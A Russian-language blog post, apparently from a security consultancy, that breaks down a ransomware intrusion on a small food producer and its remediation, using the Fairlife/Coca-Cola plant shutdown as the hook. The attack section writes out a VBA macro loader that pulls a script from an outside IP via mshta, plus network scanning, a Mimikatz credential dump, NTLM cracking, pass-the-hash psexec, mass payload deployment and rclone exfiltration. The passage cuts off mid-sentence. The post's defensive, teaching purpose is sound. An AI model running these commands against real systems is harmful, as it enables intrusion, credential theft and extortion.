CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Как один файл в почте останавливает целое производство: технический разбор кейса на примере атаки, парализовавшей завод Coca-Cola в США

Крупный завод Fairlife (подразделение Coca-Cola) встал из-за шифровальщика — и это не редкость, а типовой сценарий, который мы разбираем на примере небольшого пищевого производства: от фишингового письма до потери 2+ млн рублей и четырёх дней простоя линии.

Разбор CIOlogia

Новость о том, что подразделение Coca-Cola — молочный завод Fairlife в США — остановило производство из-за шифровальщика, разошлась быстро. Подробностей мало: неизвестно, какая группировка стоит за атакой и требовала ли она выкуп. Но сама механика типовая, и с точностью до деталей она повторяется у клиентов гораздо меньшего масштаба. Ниже — разбор именно такого случая: пищевое производство, поставки в розничные сети, простой линии на четыре дня и потери больше 2 млн рублей. Разница с Coca-Cola — только в количестве нулей в отчёте о потерях, не в технике атаки.

Как это случилось: расширенная хронология

Бухгалтеру пришло письмо, якобы от постоянного поставщика упаковки, с «актом сверки» во вложении. Файл открыли — визуально ничего не произошло, документ выглядел пустым или требовал «включить содержимое» для корректного отображения. Дальше — тишина на двое суток, а потом шифровальщик разом прошёлся по всей сети, включая сервер, который управлял линией фасовки.

Это классический паттерн MITRE ATT&CK: T1566.001 (Phishing: Spearphishing Attachment) → T1204.002 (User Execution: Malicious File) → закрепление и латеральное перемещение → T1486 (Data Encrypted for Impact). Двое суток «тишины» — это не сбой атаки, а разведка внутри сети: злоумышленник в этот момент уже был внутри и решал, что зашифровать, чтобы урон был максимальным.

Как это эксплуатируется — по шагам

Разберём техническую сторону такой атаки от точки входа до шифрования — именно так это выглядит с точки зрения атакующего.

Шаг 1. Доставка полезной нагрузки

Вложение — чаще всего .docm/.xlsm с макросом или .iso/.img с LNK-файлом внутри (этот приём стал популярен именно чтобы обойти блокировку макросов Microsoft по умолчанию с 2022 года). Макрос обычно не содержит сам шифровальщик — только загрузчик:

' Фрагмент типичного VBA-макроса-загрузчика
Sub AutoOpen()
    Dim url As String
    url = "hxxp://185.220.xx.xx/upd.bin"
    Shell "mshta.exe javascript:a=GetObject(""script:" & url & """);close();"
End Sub

mshta.exe и regsvr32.exe — классические LOLBins (living-off-the-land binaries), которые не детектируются бесплатными антивирусами без поведенческого анализа, потому что технически это «легитимный» системный процесс.

Шаг 2. Разведка внутри сети

Получив закрепление на машине бухгалтера, атакующий (человек или автоматизированный аффилиат RaaS-группировки) сканирует внутреннюю сеть:

nmap -sS -p 445,3389,139,5985 192.168.1.0/24 -oG scan.txt

# Типичный вывод
192.168.1.10  445/open  microsoft-ds  Windows Server 2012 R2
192.168.1.15  3389/open ms-wbt-server RDP
192.168.1.22  445/open  microsoft-ds  Windows 7 SP1

Дальше — enum сетевых ресурсов и проверка, где хранится «интересное»:

crackmapexec smb 192.168.1.0/24 -u guest -p '' --shares
smbclient -L //192.168.1.10 -N

Именно на этом этапе критично то, что все сотрудники работали под одной учётной записью администратора: одна скомпрометированная сессия — это сразу же права на весь сегмент сети, никакой дополнительной эскалации привилегий не требуется.

Шаг 3. Извлечение учётных данных и продвижение

# Дамп паролей из памяти LSASS через Mimikatz
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 892312
Session           : Interactive
User Name         : buh_1c
Domain            : PROD-NET
        msv :
         [00000003] Primary
         * NTLM     : 8846f7eaee8fb117ad06bd6b6f04f7e0

Полученный NTLM-хэш можно перебрать локально:

hashcat -m 1000 -a 0 hash.txt rockyou.txt --force

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Recovered........: 1/1 (100.00%)

Или использовать хэш напрямую в pass-the-hash-атаке для запуска команд на других машинах:

impacket-psexec -hashes :8846f7eaee8fb117ad06bd6b6f04f7e0 buh_1c@192.168.1.10

Шаг 4. Развёртывание шифровальщика

На финальном этапе полезная нагрузка раскладывается по всем доступным машинам через тот же psexec, WMI или групповые политики домена, и запускается почти одновременно — отсюда и эффект «разом легла вся сеть»:

wmic /node:@hosts.txt process call create "cmd /c \\FS01\update\payload.exe"

Сервер, управляющий линией фасовки, в такой сети ничем не отличается от рабочей станции бухгалтера — если он в одном сегменте и под теми же учётными данными, шифруется вместе со всем остальным. Именно так «бухгалтерская» атака превращается в остановку производственной линии.

Что и почему сработало бы дальше

В описанном случае атака ограничилась шифрованием с требованием выкупа. Но по логике современных группировок (LockBit, BlackCat/ALPHV, Akira и аналогичные RaaS-схемы) это лишь один из сценариев, причём не самый агрессивный:

  • Перед шифрованием почти всегда идёт эксфильтрация данных — через rclone в облачное хранилище атакующего, чтобы добавить к шифрованию угрозу публикации (double extortion):
    rclone copy //FS01/1C_Base remote:leak --transfers=8
  • При отсутствии сегментации сети шифруется не только офисный контур, но и АСУ ТП/SCADA-сегмент — линия фасовки в разобранном кейсе как раз оказалась в общей плоской сети;
  • Часть группировок оставляет вторичный backdoor (веб-шелл, запланированную задачу, дополнительную учётную запись домена) — на случай, если жертва восстановится из бэкапов без полной чистки сети, атака повторяется через 2-4 недели;
  • Требование выкупа обычно привязано к обороту компании — расчёт делается по открытым данным (сайт, реестры, тендерная активность), поэтому сумма для регионального производства и для завода Coca-Cola отличается на порядки, но логика давления одна и та же: время простоя дороже суммы выкупа.

Во сколько это обходится: расчёт потерь

Прямые потери в разобранном кейсе — больше 2 млн рублей за четыре дня простоя. Структура типична для производственных компаний:

  • Упущенная выручка от остановки линии фасовки — самая крупная статья;
  • Штрафы по договорам с розничными сетями за срыв сроков поставки (в ритейле это обычно фиксированный процент от суммы контракта за каждый день просрочки);
  • Оплата специалистов по восстановлению данных и ручного восстановления учёта 1С по бумажным накладным — трудозатраты, которые не видны в моменте атаки, но растягиваются на недели;
  • Репутационные издержки при пересмотре условий с закупщиками — не оцифровываются напрямую, но влияют на будущие контракты.

Для сравнения: инцидент такого класса в крупном производственном холдинге (как в случае с Fairlife) means simple масштабирование той же формулы — только дневная выручка исчисляется не сотнями тысяч, а десятками миллионов, и цена одного дня простоя может кратно превышать бюджет на всю ИБ-инфраструктуру компании на несколько лет вперёд.

Как закрыли — с конкретными настройками

Аудит занял два дня, устранение точечных дыр — ещё день-два. Работа шла по приоритету: сначала то, что защищает от повторной атаки прямо сейчас, потом — системные вещи.

1. Резервное копирование с защитой от шифрования копий

Бэкапы настроены так, чтобы шифровальщик, даже получив права администратора в сети, не смог удалить или зашифровать сами копии — это ключевое отличие от простого «копирования файлов на сетевой диск»:

# Backup через restic в Object Storage с версионированием
restic -r s3:storage.yandexcloud.net/backup-bucket backup /data/1c_base
restic -r s3:storage.yandexcloud.net/backup-bucket forget --keep-daily 30 --prune

# Включение Object Lock на бакете, чтобы объекты нельзя было удалить/перезаписать
aws s3api put-object-lock-configuration \
  --bucket backup-bucket \
  --object-lock-configuration '{"ObjectLockEnabled":"Enabled","Rule":{"DefaultRetention":{"Mode":"COMPLIANCE","Days":30}}}'

Критично: бэкап-агент работает под отдельной учётной записью без прав на удаление в самом хранилище, а восстановление тестировалось вручную сразу после настройки — не «раз в год», а сразу же, чтобы убедиться, что копии реально разворачиваются, а не существуют только в логах задачи.

2. Разграничение доступа вместо общего администратора

# Пример: убираем пользователей из локальной группы Administrators,
# оставляем только сервисные технические учётки
net localgroup Administrators /delete buh_1c
net localgroup Administrators /delete sklad_ivan

# Внедрение LAPS для ротации локальных паролей администратора на каждой машине
Install-Module AdmPwd.PS
New-ADServiceAccount -Name "LAPS-Rotation"

Это разрывает главную цепочку атаки: даже если один компьютер скомпрометирован, украденный хэш или пароль больше не открывает доступ ко всей сети целиком.

3. Блокировка макросов и Attack Surface Reduction

# GPO: блокировка макросов из интернета по умолчанию (Office 2016+)
# Ключ реестра, применяемый через групповую политику
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\16.0\Word\Security]
"blockcontentexecutionfrominternet"=dword:00000001

# Attack Surface Reduction rule: блокировка создания дочерних процессов Office-приложениями
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled

4. Почтовый фильтр и проверка вложений

Настроены SPF/DKIM/DMARC для домена и правило автоматической проверки вложений в песочнице, а не по сигнатурам:

; DMARC-запись для проверки писем от имени «поставщиков»
_dmarc.example.ru. IN TXT "v=DMARC1; p=quarantine; rua=mailto:dmarc@example.ru"

Вложения с макросами и исполняемым содержимым помечаются и уходят на ручную проверку, а не долетают до сотрудника напрямую.

5. Мониторинг и алерты владельцу

Развёрнут лёгкий стек Wazuh (агент + правила на массовое переименование файлов — типичный индикатор шифровальщика в моменте), с вебхуком в Telegram:

# Правило Wazuh: массовое переименование файлов с новым расширением за короткий